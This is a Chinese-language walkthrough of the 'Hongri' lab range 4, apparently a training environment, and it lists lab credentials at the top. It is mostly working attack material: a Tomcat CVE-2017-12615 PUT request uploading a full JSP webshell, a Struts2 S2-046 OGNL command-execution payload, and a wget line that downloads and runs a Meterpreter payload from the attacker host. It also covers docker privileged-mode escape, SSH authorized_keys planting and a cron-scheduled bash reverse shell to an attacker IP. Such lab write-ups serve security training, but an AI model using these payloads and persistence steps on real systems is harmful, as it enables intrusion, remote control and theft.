红日靶场4
ubuntu:ubuntu
域成员机器:
douser:Dotest123
DC:administrator:Test2008.
渗透过程概述:
1、信息收集-->Tomcat任意文件写入漏洞getshell-->struts远程命令执行漏洞,直接上线msf
端口扫描,tomcat CVE-2017-12615任意文件写入漏洞getshell。Struts2 S2-046远程命令执行漏洞,上线msf。
2、docker逃逸-->内网渗透-->横向移动
确认docker环境,特权模式逃逸。ms17_010 永恒之蓝 渗透内网主机。
配置环境:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
查看容器:
sudo docker ps -a
删除容器:
sudo docker rm -f
删除所有已经停止的容器:
docker rm $(docker ps -a -q)
1、信息收集
1.1 主机发现
arp-scan -l
1.2 端口扫描
masscan -p 1-65535 --rate=1000 192.168.1.103
nmap -sC -sV -A -O -Pn 192.168.1.103 -p 22,2001,2002,2003
22:ssh
2001:struts2
2002:tomcat
2003:phpmyadmin
2、漏洞挖掘
2.1 Tomcat任意文件写入漏洞CVE-2017-12615
2.1.1 kali本地的exploit-db库,查找漏洞
searchsploit tomcat 8.5.19
2.1.2 poc验证
2.2 struts远程命令执行漏洞S2-046
2.2.1 Struts2Scan.py 检测漏洞
Struts2Scan.py -u http://192.168.1.103:2001/
http://192.168.1.103:2001/ 是Struts2,使用Struts2-Scan 存在漏洞: S2-046
2.3 phpmyadmin无密码进入漏洞,写文件getshell
3、漏洞利用
3.1 Tomcat任意文件写入漏洞CVE-2017-12615 getshell
http://192.168.1.103:2002/ 抓包,发送payload成功上传文件
shell地址:
http://192.168.31.130:2002/shell.jsp
抓包
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.1.103:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 956
shell.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
3.2 struts远程命令执行漏洞S2-046利用,上线msf
3.2.0 第一种:struts2全版本漏洞检测工具,上传shell
第二种方式如下:
3.2.1 点击submit抓包,注意payload里filename字段是空的
3.2.2 构造payload赋给filename字段,执行whoami
payload
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
3.2.3 进行00截断,进入hex将30改为00
3.2.4 发包,执行whoami命令:
3.2.5 利用web_delivery模块,s2-046上线msf
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.102
set lport 12345
run
生成payload:
wget -qO gYbV9E4z --no-check-certificate http://192.168.1.102:8080/N1bYVK; chmod +x gYbV9E4z; ./gYbV9E4z& disown
3.2.6 将payload里的分号;替换成&&,发包上线msf
wget -qO gYbV9E4z --no-check-certificate http://192.168.1.102:8080/N1bYVK&& chmod +x gYbV9E4z&& ./gYbV9E4z& disown
4、提权【docker逃逸提权】
4.1 确定在docker环境里
ls /.dockerenv
ip a
cat /proc/self/cgroup
4.2 确定是特权模式启动的docker
cat /proc/self/status|grep CapEff
CapEff 对应的掩码值为:
0000003fffffffff
可以用privilege特权模式逃逸
4.3 mount挂载设备
fdisk -l
mkdir /test ------docker根目录创建挂载文件夹
mount /dev/sda1 /test
cat /test/etc/passwd
4.4 kali生成公私钥
ssh-keygen -f rain
chmod 600 rain
蚁剑虚拟终端执行:
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys ------ avx连权限一起复制过去
echo 'rain.pub内容'>/test/home/ubuntu/.ssh/authorized_keys
kali执行ssh连接:
ssh -i rain ubuntu@192.168.1.103
4.5 ssh私钥连接ubuntu
ssh -i rain ubuntu@192.168.1.103
4.6 crontab计划任务,docker逃逸
在计划任务里写入一个bash反弹shell的脚本:
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1">> /test/tmp/shell.sh
chmod +x /test/tmp/shell.sh
cat /test/tmp/shell.sh
写入crontab计划任务,表示每隔两分钟以root权限执行一次计划
echo '*/2 * * * * root bash /tmp/shell.sh' > /test/etc/crontab
cat /test/etc/crontab查看是否写入成功
nc -lvp 9999
获取ubuntu root权限
5、内网渗透【win7渗透】
5.1 信息收集
5.1.1 添加路由
run post/multi/manage/autoroute
5.1.2 主机发现
第一种:auxiliary/scanner/portscan/tcp
第二种:auxiliary/scanner/discovery/udp_probe
第三种:auxiliary/scanner/discovery/udp_sweep 模块使用失败
5.2 设置全局代理
use auxiliary/server/socks_proxy
setg Proxies socks5:127.0.0.1:1080 ------ 设置代理,不设置代理ms17_010很难打通
setg ReverseAllowProxy true
run
5.3 ms17_010 永恒之蓝漏洞验证
search 17_010
【永恒之蓝 利用失败】